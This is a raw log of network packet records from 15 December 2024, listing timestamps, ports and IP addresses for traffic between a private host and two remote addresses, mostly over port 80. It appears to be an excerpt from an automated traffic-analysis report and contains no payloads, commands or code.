Dec 15, 2024 11:59:30.053291082 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.053354025 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.054106951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.054234028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.054270029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.055205107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.055238008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.055254936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.055286884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.056385040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.056435108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.056504965 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.056540012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.057586908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.057657957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.057698965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.058764935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.058808088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.058825970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.058871031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.059988022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.060022116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.060039043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.060077906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.061177015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.061220884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.061269045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.061309099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.062314987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.062426090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.062460899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.063503981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.063541889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.063576937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.063612938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.064663887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.064711094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.064841032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.064873934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.065808058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.065840960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.065879107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.065912962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.067030907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.067064047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.067147017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.067187071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.068176985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.068219900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.068300962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.068347931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.069531918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.069576979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.069633961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.069691896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.070523977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.070560932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.070626020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.070714951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.071789980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.071825981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.071975946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.072012901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.073164940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.073204041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.073223114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.073321104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.074110985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.074148893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.074170113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.074314117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.075244904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.075283051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.075361013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.075407982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.076402903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.076457977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.076523066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.076589108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.077620983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.077723980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.077739954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.077776909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.078757048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.078927040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.078962088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.079962015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.080001116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.080110073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.080144882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.081175089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.081213951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.081275940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.081497908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.082398891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.082432985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.082488060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.082521915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.083475113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.083525896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.083703041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.084702015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.084731102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.084759951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.084825039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.084825039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.085988998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.086087942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.086131096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.087039948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.087090969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.087151051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.087192059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.088238955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.088283062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.088303089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.088337898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.089397907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.089454889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.089477062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.089514017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.090600967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.090647936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.090743065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.090780973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.091825962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.091972113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.091994047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.092031956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.092936993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.092988968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.093044996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.093120098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.094125032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.094269991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.094329119 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.094329119 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.095302105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.095415115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.095455885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.096513987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.096551895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.096587896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.096632004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.097639084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.097726107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.097762108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.098809004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.098977089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.099014997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.099982023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.100020885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.100084066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.100119114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.101160049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.101202965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.101273060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.101381063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.102363110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.102401018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.102458954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.102519035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.103542089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.103578091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.103642941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.103677034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.104809046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.104882956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.104995966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.105026007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.106033087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.106115103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.106151104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.107243061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.107276917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.107309103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.107342005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.108257055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.108304977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.108377934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.108412027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.109458923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.109492064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.109548092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.109580994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.110630035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.110665083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.110749006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.110783100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.111824036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.111860037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.111874104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.111907005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.173259020 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.175257921 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.243351936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.243460894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.243513107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.243949890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.243984938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.244029999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.244065046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.245112896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.245155096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.245218039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.245265961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.246283054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.246356010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.246393919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.247448921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.247486115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.247545004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.247579098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.248668909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.248708010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.248774052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.248809099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.249818087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.249943972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.249978065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.251022100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.251051903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.251167059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.251203060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.252192974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.252243042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.252343893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.252378941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.253355026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.253387928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.253492117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.253525019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.254564047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.254776001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.254812002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.255724907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.255752087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.255778074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.255810976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.256890059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.257045984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.257086039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.258167982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.258236885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.258270979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.259272099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.259318113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.259387016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.259423971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.260425091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.260462999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.260529995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.260561943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.261605978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.261806011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.261842012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.262851954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.262885094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.262902975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.262933969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.263967991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.264003038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.264097929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.264130116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.265145063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.265180111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.265198946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.265227079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.266319990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.266396046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.266432047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.267544031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.267647982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.267683983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.268690109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.268727064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.268863916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.268897057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.269853115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.269999981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.270035028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.271047115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.271192074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.271229982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.272237062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.272272110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.272402048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.272450924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.273401976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.273436069 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.273497105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.273530006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.274575949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.274692059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.274725914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.275782108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.275819063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.275913954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.275947094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.276923895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.276964903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.277031898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.277069092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.278139114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.278213024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.278251886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.279280901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.279336929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.279356003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.279387951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.280549049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.280594110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.280631065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.280659914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.281678915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.281785965 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.281820059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.282871008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.282913923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.283055067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.283088923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.284060001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.284101009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.284126997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.284163952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.285219908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.285260916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.285306931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.285336018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.286375046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.286506891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.286549091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.287554026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.287600994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.287647009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.287683010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.288774967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.288822889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.288855076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.288887978 CET	49805	80	192.168.2.4	31.41.244.11
